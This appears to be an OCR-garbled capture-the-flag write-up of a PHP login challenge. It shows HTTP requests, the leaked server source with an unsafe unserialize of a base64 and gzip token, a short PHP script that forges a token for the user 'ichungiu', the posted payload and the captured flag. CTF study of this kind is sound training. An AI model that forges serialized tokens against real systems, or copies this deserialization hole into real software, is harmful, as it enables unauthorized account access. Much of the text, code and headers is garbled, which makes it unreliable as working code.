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htmd >
<head>
<meta charzet="wutf-§" />
<titlerlog Ind/titler
<link rel="stylesheet” href="//cdn bootcss, con'skeleton/2. 0. 4/ skeleton min css” />
</head>
Chody>
{div clas=="container”>
<form method="post” actior="login.php">
<label for="usemame’ Username: </label>
<input class="u-full-width” type="text” name="uszemame” placeholder="Tzername” />
<label for="password’ *Password: </label>
{input class=="u-full-width" type="pasaword” name="password” placeholder="Paszsword” >
{input type="submit” walue="Log In" />
</form>
<fdive

</body>
< html>
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Request

Response
J Raw T Params I Headers | Hex J Raw T Headers | Hex | HTML I Render ]
GET /member.php HTTE/1.1 4 HTTP/1.1 200 OK
Host: 3087513f1e6£4724921617753a247T64£3££839090f a34526. gane. 1chimgiu. con o Serwver: nginx/1.10.2
Cache—Control: max—age=0 Date: Sat, 22 Dec 2018 06:42:43 GNT
Upgrade—Insecure—Requests: 1 Content—Type: text/htnl;charset=utf-8
User—Agent: Mozilla/3.0 (Windows NT 10.0; WOWS4) AppleWebKit/337.36 (KHIML, like ¥-Powered-By: PHP/3.5.9-lubuntud. 19
Gecko) Chrome/58.0.3029. 110 Safari/5337.36 SE 2.X MetaSr 1.0 Expires: Thu, 19 Now 1981 08:52:00 GNT
Accept: text/htnl, application/zhtnl+xnl, application/xnl;q=0.9, inage webp, */*;q=0.8 Cache—Control: no—store, no—cache, must—revalidate, post—checl
Referer: http://3067513f1e8f4724921617753a24764F8fFB89090fa34526. gane. iclumgiu, com/ cache
Accept-Encoding: gzip, deflate
Accept-Language: zh—CHN, zh;q=0.8 o t—Encoding
Cookie: chkphone=acW:lpxhQpDiAchhiusSnE ey 10ulI00000 ; ¥-038Proxy: 08SProxy 1.3.337.419 (Build 337. 419 Win32 en—us) ((
UM_distinctid=16T40ff06e0136-02hToh3741cad~4d045769-1f a400-16T40££ 061227 ; 14:40:33)
pev_pwi=5240597504 Comnection: close
Hm_lwt_2d06801bd28deTd49818249-£35495943=1544886304, 1544954593, 1545011049, 1545020736 Content—Length: 69
. PHPSES5ID=rldab5jqq3qducmtvtZhT803v3
Connection: close ‘head>
‘meta charset="utf-8" />
< fhead>
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Raw | Params | Headers | Hex

Raw | Headers | Hex HTMLTRender]

GET /member.php HITP/1.1
Host: 3067013f1e8£4724921617703a24764£8f f889090£ 34526, gane. iclhungiu. com
Cache—Control: max—age=)
Upgrade—Insecure—Requests: 1
User—Agent: Mozilla/5.0 (Windows NT 10.0: WOWE4) AppleWebKit/337.36 (EHTML, like
Gecko) Chrome/38.0.3029. 110 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/htnl, application/zhtml+xznl, application/xnl; g=0.9, inage/webp, */* =0.8
Referer: http://3067313f18£4724921617733a24764F6FF889090F 234526, gane. ichungin. con/
Accept—Encoding! gzip, deflate

#ze: zh—CI, zh;=0.8

¥

hone=acWxlpxhQpDiichhfusSnE gy 1QubI00000 ;
UM_distinetid=16T40ff06e0136-02b75b3T41cad-4d045769-1fa400-16T40££061227;
pgv_pvi=i240597504 ;

Ho_lvt_2d0601bd28de7d48818249F35495943=1544886504, 1544954593, 1545011049, 1545020736
;. PHPSESSID=r1dab5jqq3qgducmtvtZh7803w3

Comnection: close
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HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Sat, 22 Dec 2018 06:43:07 GNT

Content—Type: text/htnl:charset=utf—8

i-Powered-By: PHP/3.5.9-lubuntud. 19

Expires: Thu, 19 Nov 1981 08:32:00 GMT

Cache—Control: no—store, no—cache, must-revalidate, post—check=0, pre—check=0
Pragma! no—cache

Vary: Accept—Encoding

-0SSProxy: 0SSProxy 1.3.337.419 (Build 337. 419 Win32 en-—us) (Oct 17 2018
14:40:33)

Commection: close

Content-Length: 918

<head>

‘meta charset="utf-8" />

</head>

Tphp
include 'common. php'
$requset = array_merge ($_GET, $_POST, $ SESSION, $_COOKIE):
class db

t

public $where;
function _ wakeup()
[
if (lempty ($this— where))
[
$this—'select ($this—>where)
}
}
function select (§where)
[
$sql = mysql_query("select * from user where
return @uysql_fetch array (§sql) :

", §where)
}

if (isset(§requset(’ token']))

t



| $s5gl = mysqgl query('select * from user where '.S$where);
} return @mysql fetch array($sqgl);

b }

| if (isset(Srequset|['token']))
i B {

L $login = unserialize (gzuncompress (base64_decode (Srequset['token'])));

) $db = new db{();

) TOW = $g§—>select(‘user: ".mxsgl real escape string (Slogin["user'])."'\"");
| if($login['user'] === 'ichungiu')

{

echo $flag;

) else T Towl T LaEe e T oaseT,
eche 'unserialize injection!!’;

| telse

| echo "(*D'Jifal—l WE

. I3

b lelse(

) header ('Location: index.php?error=1"):

Hflagi) & Euser FFFHEHK
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) $i = array('user'=>'ichungiu');
$con = base64 encode (gzcompress (serialize($i)));

i |echo Scon;

MG ZH Ntoken, WILLEEpost, get, cookief1F =, {HZFE FIERZE A Kcookie, it postfiget



INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHI
@l Load URL [ http://3067513f1e8f4724921617753a24764f8ff889090fa34526.game.ichungiu.com/member.php
% split URL

+ Execute

Postdata [ | Referrer 4 OxHEX 3» @% %URL X» % BASE64 I |Insert string to replace| | Insert replacin
Post data token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM40zSvMLFWyrgUAo4oKXA==

flag{19197844-1163-495d-8118-af268f8c0101}
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Eo= 113100 A o s e e s ST E T s S e B =1 i U A p S = e e 2 S S R S B LR e e e

it : §f php?token=e JxLtDKDqi 62Mr FSKi 10LVKyLr aysFLKTN4 o zSvMLFWyr sUhod okXA= + | GFT v| ki || @R
e 8R:
Hrsesk: Cookie: {mds ()} ~
wE

O#r@se Han@Enes (coki-aH#Bs  [EEEN (e [IREEY  BFA8: [ 1 |3
Clurr-eigid  [JRm_czrriiE [ 2SR

DEESH | |5 | | i fexre: | |
/By | EEh ) EECeckie | HetphatohdiiBiEH | EHIE ) (IBRE
*48i3): B eEENEE

<head=
<meta charset="utf-8" />

[lag{19197844-1163-495d-8118-af268f8c0101} -
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